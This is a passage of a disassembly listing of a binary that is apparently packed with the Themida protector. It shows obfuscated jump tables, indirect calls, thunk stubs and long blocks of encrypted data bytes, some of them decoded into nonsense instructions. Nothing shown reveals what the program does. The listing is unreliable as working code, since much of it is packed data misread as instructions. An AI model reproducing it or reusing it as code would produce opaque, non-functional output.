; ---------------------------------------------------------------------------


loc_5EDBCC:				; CODE XREF: sub_5EDAB2+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+61A1852h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5EDBE0:				; CODE XREF: sub_5EDAB2+70j
					; sub_5EDAB2+7Bj ...
		call	dword ptr [ebp+6131D89h]
		pop	ebx


loc_5EDBE7:				; CODE XREF: sub_5EDAB2+14Ej
		mov	eax, [ebp+6131BBDh]
		cmp	[eax+4], ebx
		jnz	loc_5EDC05
		push	ebx
		push	1
		call	dword ptr [ebp+6130DA9h]
		pop	ebx
		jmp	loc_5EDBE7
; ---------------------------------------------------------------------------


loc_5EDC05:				; CODE XREF: sub_5EDAB2+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5EDC08:				; CODE XREF: sub_5EDAB2+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EDAB2	endp

; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(85h)
		dd 8D061311h, 1A19408Dh, 1418906h, 0CE8C38Bh, 31000000h
		dd 4A6A4362h, 0B4F56CF8h, 812FA464h, 66EE8AEEh,	850F5A3Ch
		dd 2, 0C281D98Bh, 736Eh, 1C98B9h, 7E800h, 26E0000h, 0DC47DD90h
		dd 0EE8EEh, 69730000h, 922452D3h, 38EEEA06h, 4882A807h
		dd 12E9h, 212B4D00h, 0D76D4DA7h, 7CE4EA94h, 0BA0BFCFEh
		dd 5F3A4243h, 8B028B5Fh, 93C081DEh, 66519778h, 0C081D88Bh
		dd 49029B89h, 1420C081h, 51601C5Ch, 58D0B70Fh, 14E9h, 6FE9D500h
		dd 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h,	8B5061DDh
		dd 81028FF0h, 3C1749EAh, 14E866h, 0F18C0000h, 0D4F58C13h
		dd 5EA12E2Bh, 0D2C0368Dh, 0F75879F1h, 0DA8AD58Dh, 45C2815Bh
		dd 0F663C17h, 681h, 0AEDE8100h,	814057D1h, 1E9h, 1A850F00h
		dd 0BB000000h, 48B125D5h, 2CE9h, 0F4D1F300h, 9F10DD5Bh
		dd 424665B7h, 4761105Fh, 0BE950h, 7B800000h, 0B31F8315h
		dd 4576401Ch, 0FF53E982h, 0EC67FFFFh, 9D39F7A4h, 0D6E9DDh
		dd 72980000h, 9CD744D7h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 7	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EF317
; ---------------------------------------------------------------------------
		push	61A1CF5h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A1DE1h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A1EE5h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A2004h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A20A0h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A215Eh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A221Fh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A22D2h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A2376h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A24CFh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A25A5h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A26D4h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A27DAh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A295Dh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A2A99h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A2CC1h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61A2DB1h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0B6h
		db  28h	; (
		db  2Eh	; .
		db  90h	; 
; ---------------------------------------------------------------------------


loc_5EDEC7:				; CODE XREF: Themida_:005EDED9j
		stosb
		sbb	[esi], dh
		cwde
		mov	dl, 1Eh
		sub	al, 8Eh
		lodsb
		sbb	esi, ds:2E26B395h
		nop
		popf
		xchg	eax, edx
		jns	short loc_5EDEC7
		push	7AD8684Ah
		pop	esp
; ---------------------------------------------------------------------------
		db 76h,	0E1h, 67h
		dd 7CD06147h, 1B4A955Eh, 16B7CFBFh, 0BD2D1188h,	6D51E06Ch
		dd 565270DCh, 295C7B0Bh, 168EA2CCh, 0D0213055h,	0A8A9F72h
		dd 0A0CC3DC9h, 5AAD0CD0h, 3C78h, 0E0C2DE00h, 33A2014Fh
		dd 109DB4D7h, 47737DA0h, 16476422h, 168E9837h, 45B48508h
		dd 0A8A87C5h, 0ED203F1Ch, 0A8A8871h, 7711DB3Ah,	0DF6D5502h
		dd 23F16973h, 8B5AAD39h, 0B5h, 0E06CBDAFh, 74E06D51h, 0FC50E1E5h
		dd 1B69FBDFh, 6C4F14C5h, 0BD0766BAh, 0F0992C2Eh, 2E8CED5Bh
		dd 9E9749BFh, 2C20B110h, 3319AC8Eh, 0C842B394h,	91109E95h
		dd 725C40Ch, 0D607A4E2h, 168F9BF3h, 8925133Ch, 153DBDDFh
		dd 0DFFF1ECBh, 0DFFC8ADFh, 7601ABAEh, 0A2018410h, 83233180h
		dd 1144109Dh, 79FD0B2Fh, 98B89554h, 0B2000012h,	0AE943224h
		dd 0AE94321Ch, 0B092301Ah, 0AF91311Fh, 0A1943222h, 84D05D8Eh
		dd 9EB40426h, 83C51A40h, 0A0ACFD23h, 0E7163902h, 16B7D16Bh
		dd 0C281DD34h, 0B51670E5h, 0BEDF109Dh, 0F9952436h, 0D7817883h
		dd 4C6A0BF3h, 5979D366h, 0C8BEA3FFh, 989B7AEBh,	0F6DC168Eh
		dd 86E3ED67h, 47C73607h, 9E0A8A89h, 0F36F9EC1h,	0BC0A8A88h
		dd 84F58F59h, 0AD3E9858h, 0B5405Ah, 0BD160000h,	0C18D1D6Ch
		dd 8F1F03A0h, 656FAEBFh, 0DF75C406h, 0B089FF8Eh, 60F1109Dh
		dd 59ECCEECh, 3D6562F3h, 0FC3A61EDh, 5C1A082Ch,	0A5BCF8C0h
		dd 0AE93C2E1h, 87168E6Bh, 517EA906h, 458CC7A1h,	6F508E56h
		dd 89118748h, 0A62E7CA8h, 98374F9Ah, 1D2C1EB2h,	76E7F4FCh
		dd 10742384h, 97BB187Dh, 85AD0A4Ah, 90CE1632h, 44391BAAh
		dd 79FB3B66h, 0AC95B077h, 9E000011h, 42684610h,	5A805EF0h
		dd 44664406h, 5B7D5DF3h, 3568460Eh, 104491FAh, 124090B2h
		dd 0F398EB4h, 143889AFh, 33A2ADB6h, 16B7D1D7h, 0BDD589A0h
		dd 0E3C7E470h, 2869F850h, 3D90B2A0h, 0BD11AF0Fh, 7251E06Ch
		dd 0B4A62055h, 6B6F109Dh, 0CC1475DDh, 7057378Ah, 5B14DE04h
		dd 900A7B29h, 59109DD7h, 0DA6BDF71h, 1BBBDABBh,	74E9A335h
		dd 109DD81Ah, 0FC4CDFE3h, 694D2C6Dh, 0BA1978DCh, 0FA474898h
		dd 0EB8A0B5Ah, 5D4582E1h, 63757FCBh, 725C7AD2h,	65214861h
		dd 0FD3E6946h, 0BBA313EDh, 0CB6A9923h, 0DC168EBAh, 56B756B9h
		dd 78E10489h, 47B61571h, 18F17DAAh, 6D118CB3h, 5553C6FBh
		dd 4B2A4B07h, 20A3BEFAh, 1372C391h, 0D3205572h,	0B012DB11h
		dd 151398Ah, 94890F9Ah,	0F0112041h, 0BD1A7BE8h,	0D924B59Ah
		dd 3B418BDCh, 3E0E9FB1h, 489BBFA0h, 8D03100h, 0A4D973C6h
		dd 7C5DA090h, 0A8431ECDh, 0A2000010h, 3E644214h, 5E4462ECh
		dd 2280CAh, 1F01A1AFh, 0B1E4C292h, 94C00D7Eh, 8EC41436h
		dd 93B50A30h, 90BC0D33h, 0B7262932h, 16B7D35Bh,	0BD51ED24h
		dd 5351E06Ch, 745B780Eh, 6C24A1ECh, 75626A49h, 8F68F900h
		dd 1BBBDA16h, 0E3C0C61Bh, 7C526772h, 3C0D9010h,	78524DCDh
		dd 0D16AA404h, 9B77EDABh, 3C5550h, 0A3E90000h, 0CCEBC8BEh
		dd 814287E3h, 0B903B9CFh, 8F8E574Ah, 2E8D1016h,	3191B70Ch
		dd 8AF846C2h, 212B7E0Ah, 3C0C9F81h, 0BC0C2E2Dh,	10134E96h
		dd 2C000010h, 0F880DA0Bh, 0C4490A8Ah, 0E0C262FCh, 0CAF6FE4Ch
		dd 95C8E79Fh, 1687B056h, 85017453h, 4E0A8399h, 256805CFh
		dd 3B11A486h, 2824B59Bh, 0E81D3A19h, 0A83996Eh,	0B20ED637h
		dd 0CFF0CFB7h, 62F35BEBh, 0F5518423h, 0BE0A8398h, 10F6955Fh
		dd 0F1106D93h, 9A2B0FACh, 9B2E14B2h, 9B3012B1h,	737D9CADh
		dd 0D5B1B8F4h, 5E4A87F6h, 1F030A5Ah, 1170C191h,	99351AC7h
		dd 0E7546F79h, 687AEF8Eh, 9173DD7Bh, 0F89FFDAh,	75C10000h
		dd 4FDFC1E1h, 67F9DFFFh, 4EDDC3E3h, 2F7EA402h, 99968525h
		dd 4F6FE574h, 5777DB69h, 4C6ADE71h, 5979D366h, 0C41E4F90h
		dd 8D16B7D4h, 12702A14h, 53109DB5h, 4E70E06Fh, 308C54FEh
		dd 14368A39h, 0E5745675h, 578656Fh, 1687AE05h, 3218B7D6h
		dd 300DAD9Fh, 9A84DE0Fh, 0C84D0A83h, 0D17BCE00h, 8B3D2480h
		dd 839A005Ah, 4AC4390Ah, 130A839Ah, 0CB5D65F2h,	607F1E7Fh
		dd 748B242Dh, 23527510h, 47087A7h, 3B892D70h, 0FDC74617h
		dd 30382D70h, 4579F7A4h, 0EEDABA6h, 0D15D0000h,	0B3032585h
		dd 0C3153B9Bh, 0B2012787h, 0CB1A409Eh, 35FA2989h, 0EBCB89D8h
		dd 0FBDB77C5h, 0E8C682D5h, 0FDDD6FC2h, 207AEBF4h, 0E916B7D5h
		dd 6CBD8EB0h, 4EDFC3E0h, 5377F6FEh, 14FB4A02h, 19D70576h
		dd 0FBA341E6h, 0A7B76DD4h, 0AC340BAAh, 8F275h, 0E0C2C900h
		dd 0C9F5FF4Dh, 94C9E6A0h, 1687AEC1h, 0F4C9C5EAh, 86DC4C3Fh
		dd 4F6CB13Eh, 6A72DA6Bh, 9AF4456Dh, 8365EF6Bh, 3455B80Ah
		dd 2B21B496h, 3711A68Ch, 8EDDE726h, 164F6651h, 4CEC8EB5h
		dd 0A8850584h, 0C2A70A83h, 8F76E7C4h, 7010749Ah, 97A4FE6Fh
		dd 56D50470h, 0F1F6AE80h, 630283D0h, 0F76FC8EEh, 67620979h
		dd 0E2Fh, 2787CF1Bh, 3D9DB101h,	2181C91Bh, 2A0B0FFh, 0E3C39120h
		dd 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh, 0BD103290h, 3D222F8Fh
		dd 0B7D64EC8h, 60021716h, 51E06CBDh, 0E170DC6Dh, 87D5FD1Ah
		dd 0B71B7ACBh, 0F4152424h, 329A2ECh, 0A341E635h, 8369Dh
		dd 3E213E00h, 9DBD53CFh, 88F91C10h, 109DBD0Eh, 0B42EB6D7h
		dd 9DB51270h, 592D3410h, 0E5755D7Ah, 2FB9D869h,	87AF3DD0h
		dd 0B8177616h, 0FB4A3F92h, 0E8890859h, 76C5EDCAh, 6DC012DAh
		dd 3CD700DFh, 0CBEBE0CDh, 0E0D8381Dh, 83E2E1ECh, 0DBE8311Ch
		dd 0E4EC42DAh, 44422785h, 0D1624867h, 2F16757Fh, 10107470h
		dd 89A4D88Dh, 1AD179F7h, 0D6E3Fh, 0C88EDC00h, 0D876C8EAh
		dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh
		dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 0D75DB92Ch, 0F32616B7h
		dd 0E06CBD4Fh, 0AADC6D51h, 8FF58B27h, 1B2A4BEFh, 3765D674h
		dd 0A3411779h, 0A5A5371Bh, 775041Bh, 0A35A0000h, 7AEBC8BEh
		dd 1687AEFEh, 52D8A0Bh,	173B98B4h, 99B687C7h, 8399EA64h
		dd 3352B30Ah, 3485ABA9h, 2B4A0655h, 9A6BEB1Ah, 83AC0A83h
		dd 0BAA31369h, 68D41C95h, 0BC164781h, 0ED0A833Bh, 0CDE3EF1Dh
		dd 0DF3E0DB8h, 0E5EC21BEh, 3610743Eh, 0BA8BC114h, 0B1D4915Bh
		dd 0F758AABCh, 2924C379h, 0CBBh, 0B313438Fh, 0B1113D8Dh
		dd 0AD0D3D8Fh, 0B6143C8Bh, 0AF0F4594h, 0B5AB37Ch, 0F9476949h
		dd 4577959h, 0F1446644h, 716E7B5Bh, 0B7D6A2FCh,	0C366B16h
		dd 51E06CBDh, 0E170DC6Dh, 31004CDDh, 607CB40Ah,	983A37A4h
		dd 0A6390846h, 9323CF6Ch, 0A6BAABBh, 23D465E5h,	69D09FFCh
		dd 8A52FA8Ch, 41F402D2h, 6ADAAA3h, 70900000h, 109DB515h
		dd 6F4C3A2Fh, 87AE5DFEh, 0D0052216h, 0A839A76h,	84CC1B3Fh
		dd 0F8EDBE5h, 15378AB0h, 0A4293B5h, 0A2E4FD3Bh,	9575D005h
		dd 0DF3E1074h, 0F79B8AAAh, 0FDD88F79h, 0C17h, 0FAFA733h
		dd 15B59929h, 9A9A133h,	1AB89827h, 0BABA938h, 67F61718h
		dd 5DEBCDEDh, 60F3D5F5h, 55E8CAE8h, 0C50AD7F7h,	0B7D83690h
		dd 0B8AAFF16h, 351E0C2h, 62EFD332h, 9A2263F2h, 466925B8h
		dd 9DB4BB17h, 50018410h, 109DB4F6h, 2E3F5EBFh, 0A2B3992Ch
		dd 2ADD6EDCh, 519BB908h, 409EAEFFh, 41EAD4A4h, 13B7CA3h
		dd 785F0000h, 3F5FEABDh, 0CC82D4E2h, 0C2B923ADh, 13424EE0h
		dd 109DB4B7h, 0ED7C1D80h, 9F3224ACh, 27BA9CADh,	87A88525h
		dd 9DB4FC56h, 7840C510h, 4261253Ch, 8EA2D613h, 2F3E5F16h
		dd 8A9F80DEh, 0A788D70Ah, 8A9EDC36h, 5860A50Ah,	0A16F9D2Eh
		dd 95AAD0Ch, 33h, 553688AAh, 97F64703h,	0A374EEF6h, 0CCEBC8BEh
		dd 3E85C2E3h, 34BC0422h, 8EF1F4D5h, 0F140C516h,	8AE20280h
		dd 9C2D590Ah, 0ACC7A070h, 0A0085Ah, 0BD2E0000h,	0DFC3E06Ch
		dd 6B6FFE4Eh, 0A1E071D9h, 6A69F8C0h, 2438EC45h,	747C615Eh
		dd 0B081D362h, 40113B8Eh, 2A1ABFEh, 71C08E20h, 5B8AC810h
		dd 109DCEF5h, 4360EC3Dh, 0B8124364h, 81109DB7h,	0B7F16D1Ch
		dd 5BBA109Dh, 1E434391h, 0A61A4B68h, 0A3168815h, 0D05D4562h
		dd 0B5042684h, 2D94EA9Fh, 26C5800Fh, 0ABE2Bh, 183E8C00h
		dd 84698BAh, 163488AAh,	0F4192B8h, 183C89AFh, 47A48BBAh
		dd 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh, 0D88D097Ch
		dd 435616B7h, 0E470BD1Fh, 0FB51E4C6h, 0E0C27DDBh, 97B90351h
		dd 13370646h, 0D2C8AC2h, 4CBh, 0C8BEA3B1h, 53E6CCEBh, 9F2968F9h
		dd 8EADB960h, 0AABBDA16h, 8A9AFB5Bh, 0A8A8370Ah, 2B27B599h
		dd 8AD7FB1Ah, 2B657BCAh, 0F41EA78Eh, 0C673557h,	0F4CF5AADh
		dd 73000001h, 1670E5C2h, 0DF109DB5h, 7CD736BEh,	92109DB5h
		dd 5D902F57h, 1687AEC0h, 5039BE09h, 529CDCFh, 3F684764h
		dd 11F8DC24h, 1D2FB901h, 0C0E2C08Ch, 328EDF6Dh,	4F704F37h
		dd 31D8CF68h, 569E6428h, 74995AB7h, 6FE22310h, 79F79F39h
		dd 0E8BA9756h, 62000009h, 0FE2482D4h, 1E04A2ACh, 0C0E2C08Ah
		dd 0DFC1E16Fh, 71A40252h, 54004DBEh, 4E045476h,	53F54A70h
		dd 50FC4D73h, 0F7666972h, 16B7D99Bh, 0BD112D64h, 0DFC3E06Ch
		dd 2F6EFF4Fh, 0B5015D90h, 4BCA109Dh, 4DE0E281h,	77A86EFFh
		dd 0F9480053h, 0ABA53698h, 17717B9Ah, 0EF5DF0A2h, 0EAA573CFh
		dd 3C0DA341h, 31000001h, 0C3E06CBDh, 300151DFh,	765807D1h
		dd 4D4969E3h, 20557214h, 168EA2C5h, 3499CBEh, 5C09D332h
		dd 79D92839h, 0D00A8A9Eh, 0D531A483h, 9E0A8A9Dh, 430B5B7Fh
		dd 0BF4993F2h, 0F52224Ah, 0B345AADh, 0E18E2082h, 88D9FD10h
		dd 20A5FCC4h, 0B9000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h
		dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0B2715Ah,	0C2C50000h
		dd 320351E0h, 76C709D3h, 83D1F9D6h, 0D51F7ECFh,	0AFA53416h
		dd 2329BC9Eh, 0AF9D3012h, 0E888DC0Fh, 1DB0109Dh, 3AA7902Fh
		dd 0F53FDE70h, 0A7C684D8h, 0EAFF3F1Dh, 3ACE3F9Ch, 371687BFh
		dd 0F6CEF9D6h, 0EB3A0A0Dh, 3317448Ch, 2A10AEA6h, 8AC4B99Bh
		dd 93800EF7h, 8B9F9D4h,	45910000h, 3F8FB111h, 3789AF0Fh
		dd 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h,	67470B59h
		dd 7C5AEE41h, 69490356h, 940E7F60h, 5D16B7DAh, 0E5C21A44h
		dd 9DB51670h, 236C4710h, 0D4EAFEB0h, 9CBE0687h,	81A7074Dh
		dd 43075930h, 0FE2C93F2h, 4274065Ah, 419F3F5Eh,	51E06CBDh
		dd 5370DC6Dh, 3CB1DF6Fh, 109DB4E2h, 0C10B6AABh,	2A1B493h
		dd 0A31A0000h, 7AEBC8BEh, 1687B039h, 4F704FCEh,	5D80368h
		dd 2756B378h, 0A82CDABh, 70FF4FDFh, 0B544A32Dh,	0A82CE55h
		dd 5D90AFACh, 0A82CE01h, 7814BCAh, 0F38A4A72h, 4F325AA4h
		dd 8000002h, 9DB51770h,	52342D10h, 0AF970075h, 163C1687h
		dd 0BB2A89C3h, 0A83995Fh, 2784E528h, 5E231F08h,	668968F5h
		dd 63E97C5Eh, 80CC5D43h, 20B092B1h, 0C6DDD6Fh, 0A814DC3Dh
		dd 77E6C5C1h, 1073B31Ah, 6EDE6F53h, 71C10966h, 6C0D8CDDh
		dd 0F6B87FF9h, 0D8F5B479h, 7B3h, 0AB0B4B97h, 0B9193585h
		dd 0A5054597h, 0BE1C3483h, 0A7074D9Ch, 352BB74h, 14F7151h
		dd 0FC4F7151h, 0F94C6E4Ch, 69667353h, 0B7DB9AF4h, 142E6316h
		dd 0FF4DE0C2h, 75DB6C6Eh, 378ACC14h, 0AF024415h, 4CC6CC9Dh
		dd 9AB203AFh, 0EAD0A03Ch, 0A378A341h, 0DE000001h, 0C3E06CBDh
		dd 6EFF4FDFh, 0FD07882Fh, 71056D09h, 83D6F867h,	0B4ADE9C9h
		dd 0F5CB0B0Ch, 7C1D19C1h, 0E57B785Fh, 0FC62149Dh, 0E2C96C19h
		dd 0A8306DAEh, 0D5FF3AABh, 588168Eh, 0F381734h,	609BAF69h
		dd 87037250h, 500A8AB4h, 0F256E9CDh, 0B43B9BEAh, 0F8920A8Ah
		dd 199B5983h, 55435AADh, 17000000h, 0EBC8BEA3h,	8E989B7Ah
		dd 18296C16h, 2A4143Bh,	4660985Ch, 708F0F7Eh, 0F9E60A8Ah
		dd 712BA7D6h, 0F1640A8Ah, 0A8A7095h, 0ED303F5Eh, 71439FCEh
		dd 890C0A8Ah, 8334C53Fh, 70D531A4h, 0C19E0A8Ah,	8A70D24Ch
		dd 1B7A9B0Ah, 564B09D1h, 0C3F35AADh, 47000000h,	14FE0C2h
		dd 84495B7h, 0C6C81539h, 17A5435Fh, 83D2B321h, 0F5EEE3Fh
		dd 990C7ACBh, 0BD65833Bh, 88A70465h, 9E87F955h,	7943C210h
		dd 0A1C4285Bh, 79CC109Eh, 50CBF4D3h, 0D735BCDAh, 13D1BA5h
		dd 66F7E0E8h, 4094AA23h, 44BB1746h, 61EF109Eh, 122160F1h
		dd 0C03592F3h, 1688A32Ch, 0E8C7E429h, 1190FFBFh, 0BD0729D3h
		dd 0A8064E9Bh, 2C213382h, 800EF7D6h, 301530F7h,	1A000006h
		dd 62C8ACCh, 163C9AB4h,	82A88C2h, 173999B7h, 0F92C8ACAh
		dd 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh, 7FEEF1FAh
		dd 16B7DE23h, 0BD89B5ECh, 0E3C7E470h, 656AFB53h, 0BD3A36E2h
		dd 687011D6h, 57F5486Ah, 6CBDD977h, 6BFC8B1Dh, 543554E5h
		dd 0DB6FC105h, 0B6A0B8Ah, 5A8BACh, 0C9109DB5h, 80D26244h
		dd 0D98850B1h, 0CAE864F5h, 16EFh, 6CBD5300h, 0DC6D51E0h
		dd 46EE170h, 0C28ADB87h, 27C5E4h, 0BD690000h, 57B3226Ch
		dd 20109DB5h, 0C286D9FDh, 0E26392A3h, 0C3109DB4h, 1235E257h
		dd 9DB567E3h, 0E3ED3010h, 0CEEC60F1h, 70E5C274h, 109DB516h
		dd 2436BEDFh, 8EAABB91h, 0B3943353h, 4312428Fh,	4BB7C1FCh
		dd 4223A5B3h, 16AC0B7Ah, 86A91688h, 2A3B11A4h, 207AEBh
		dd 0DEE90A84h, 0F86F8699h, 0FB3D2FBh, 5CBD8CBCh, 19B6D794h
		dd 0EACA031h, 14B3992Ch, 2BB59F2Eh, 1D6980BCh, 0D4474FBEh
		dd 0E528106Dh, 0FB51E4C6h, 0E864F5DBh, 0BD065B59h, 0BE8C206Fh
		dd 0AB0F6EAFh, 0E627361Eh, 98B52887h, 0E10A5A9Fh, 0C4E66AF9h
		dd 0C5B8D96Fh, 73DDBB67h, 0F498B574h, 56000004h, 4A704E08h
		dd 527856F8h, 4C6E4CFEh, 537555FBh, 3D704E06h, 84C99F2h
		dd 1A3888AAh, 74196BCh,	1C3081A7h, 3BAAB5BEh, 16B7DEDFh
		dd 0BDCD71A8h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h, 8C109DB4h
		dd 0C7183A09h, 3859B889h, 0BF094396h, 2E1EAF91h, 3418A991h
		dd 8DDCE425h, 76DC6C4Eh, 73D96C6Eh, 1DAE1CE2h, 94F5486Ah
		dd 0DA3B0A40h, 8E1F31BBh, 0AB3921BEh, 6D7796A7h, 0FC714E6Fh
		dd 109DB4A2h, 3AA22A6Bh, 0A341EA7Ah, 67E2h, 0BEA37800h
		dd 99CCEBC8h, 109DB53Dh, 95238706h, 0B72633BDh,	168EFBE2h
		dd 22E5240Bh, 2F5CB627h, 0E0250A8Ah, 0BA1BBBBh,	0C2E124C1h
		dd 0E06CBDE5h, 5A1EAEBBh, 25AF101Bh, 56E5A033h,	0C83B9BFAh
		dd 0A89C64Ch, 0DB37A689h, 0A40A89C5h, 5EEA3D61h, 14468E0Fh
		dd 62C8BC1h, 4ACB9AB4h,	0D96E5482h, 3DE6Fh, 5F000004h
		dd 51E06CBDh, 4EFC5072h, 4569EFFh, 0FB3B9BB1h, 0D203A0E6h
		dd 168EA397h, 0F9DEFD20h, 59ECBE2Bh, 61F5CCF3h,	0FD8CDBE5h
		dd 0A8A2F9Dh, 0FB219AF4h, 5AAD9D3Dh, 44A5h, 0C1143600h
		dd 0A397418Bh, 7AEBC8BEh, 168E989Bh, 7AD4666Ch,	0C793BC1Bh
		dd 0F8141E2h, 0FFDC8B55h, 0F8C088DBh, 89B60989h, 9526600Ah
		dd 0ADEBA967h, 0DA674B5Ah, 152B727Ah, 8C000001h, 0F20C16A3h
		dd 767E635Ch, 226CBDECh, 0C4413CFDh, 89F82ADAh,	109E9B0Dh
		dd 0F9D6B7D6h, 7DCC80D1h, 3115D41Ch, 3413B0A4h,	0C495BF0Eh
		dd 9ABA1445h, 283109Eh,	9AD630A5h, 7E9F109Eh, 82D3F776h
		dd 75C5EDCAh, 0BF0988D9h, 0C18B1E20h, 96FE72E1h, 476B109Eh
		dd 880958F8h, 0D3BB0E40h, 9E9628A2h, 0CDACF110h, 39E1C9EEh
		dd 0AEBF9122h, 0F38A486Fh, 41103C8Dh, 3917A1C0h, 0B786C617h
		dd 0B9167079h, 4191B996h, 0ACDD3C0Dh, 109DCE32h, 0B3529AFBh
		dd 168E9F66h, 6318E0Fh,	3895636Fh, 104E9612h, 0EADD910h
		dd 749963DFh, 8A296C10h, 9B3B19A8h, 392C28B5h, 79FBA29Dh
		dd 0CC3A17D6h, 7E000002h, 0A2882630h, 0BAA03E10h, 0A4862426h
		dd 0BB9D3D13h, 9588262Eh, 70E4719Ah, 72E07052h,	6FD96E54h
		dd 74D8694Fh, 13428D56h, 16B7E0B7h, 0BD352980h,	0E3C7E470h
		dd 0E1EFF951h, 1DE6EBFh, 128C01DEh, 0DB109DB5h,	0B54FCBBAh
		dd 3218109Dh, 61A0B1A3h, 409AB800h, 0EBC8BEA3h,	8E989B7Ah
		dd 4B636C16h, 7076C5F2h, 0D5243554h, 0A8AA175h,	0A3C942CCh
		dd 5AAD06D5h, 0BC7Dh, 6CBDE100h, 0E06D51E0h, 2094E574h
		dd 88109DB1h, 8FB81735h, 0B1C9D737h, 8DCB15EEh,	95321AABh
		dd 52C743B2h, 4F90109Dh, 9D52C41Eh, 69088D10h, 0BDA4005Fh
		dd 2E7BEAC9h, 0D7168E24h, 64F5B4F0h, 0B6036208h, 2F4ECF9Eh
		dd 3930704Eh, 22FF6E4Dh, 5B107441h, 0D968E877h,	52B330B8h
		dd 8E004D75h, 2B528ABEh, 0F0CEAFC5h, 0A4D97BCAh, 79FAD91Ch
		dd 0DCAFAA41h, 6E000001h, 725876E0h, 6A506EE0h,	745674D6h
		dd 6B4D6DE3h, 655876DEh, 4014A1CAh, 62F04062h, 7FC95E44h
		dd 64E8795Fh, 23527D46h, 16B7E1A7h, 0BD053970h,	0E4C6E470h
		dd 0FADBFB51h, 0DB0A86D8h, 109DB57Fh, 1CA4C548h, 0E06CBDC2h
		dd 70DC6D51h, 6FDD7052h, 0BF796750h, 0ADA61D9Bh, 4C94B809h
		dd 3C4A9F9Dh, 1A1B6E9Fh, 7194168Fh, 34DDEE0h, 93C11032h
		dd 0E7648EC2h, 0C3A2AA3Bh, 5C0683EDh, 23318009h, 5F436442h
		dd 2127BCCFh, 4890F140h, 0EFD3F5ECh, 3D5CED5Dh,	8B15D24Ch
		dd 1B7A9B0Ah, 0C4696BCh, 0F36697C4h, 0AC107BE6h, 63F6D869h
		dd 8B0758E9h, 0D36149EEh, 25AFEE7Fh, 19B6D019h,	68B671E4h
		dd 0CCEB2A0Ah, 0F3FD57E6h, 1772C3E5h, 57B687C7h, 21B19936h
		dd 0F3FD1C2Dh, 4BFD5274h, 0C684D8FAh, 4B035377h, 0C987D8FAh
		dd 1CB61978h, 3D22B69Fh, 0B46FEB1Ah, 0D538FE64h, 0B40B87F6h
		dd 0B1D4FE64h, 0B66CDD27h, 7BD56623h, 0ECCAABEAh, 0B90EB5ACh
		dd 0E9D1EE8Fh, 4AC4395Bh, 13FE64B4h, 80C293F2h,	79432230h
		dd 0A1D4295Ch, 24D0455h, 3009800Bh, 79319688h, 0EB6587C9h
		dd 193D0C6Dh, 9FB584C8h, 0D50CDC6Dh, 800E94EBh,	0A8C91011h
		dd 0E4A7DA0Bh, 0FD20FE41h, 0FE88E1DDh, 0DAA2ACE1h, 0A8BF827h
		dd 0A6361C3Bh, 9F3224ACh, 67F658EAh, 0E978D063h, 0BA8C9A8h
		dd 59F39927h, 3396B3CFh, 418F5938h, 0EF7ECE5Fh,	0D760329Eh
		dd 16388A2Dh, 0D2B00347h, 0CD848688h, 0DD6C0DA5h, 371E9B35h
		dd 0A55DEE24h, 0B89A3814h, 34162725h, 0C89CADA3h, 6E1CAF93h
		dd 56DBA3FFh, 48296CA9h, 698CD2F9h, 9E033888h, 1E9BF5FFh
		dd 4B6BE174h, 0E978D465h, 0AECh, 5E7B5200h, 0D667ED7Ch
		dd 0BDB32DB7h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
		dd 2D7368h, 24048900h, 405E089h, 83000000h, 48704E8h, 89525C24h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2434895Ch, 81E28952h
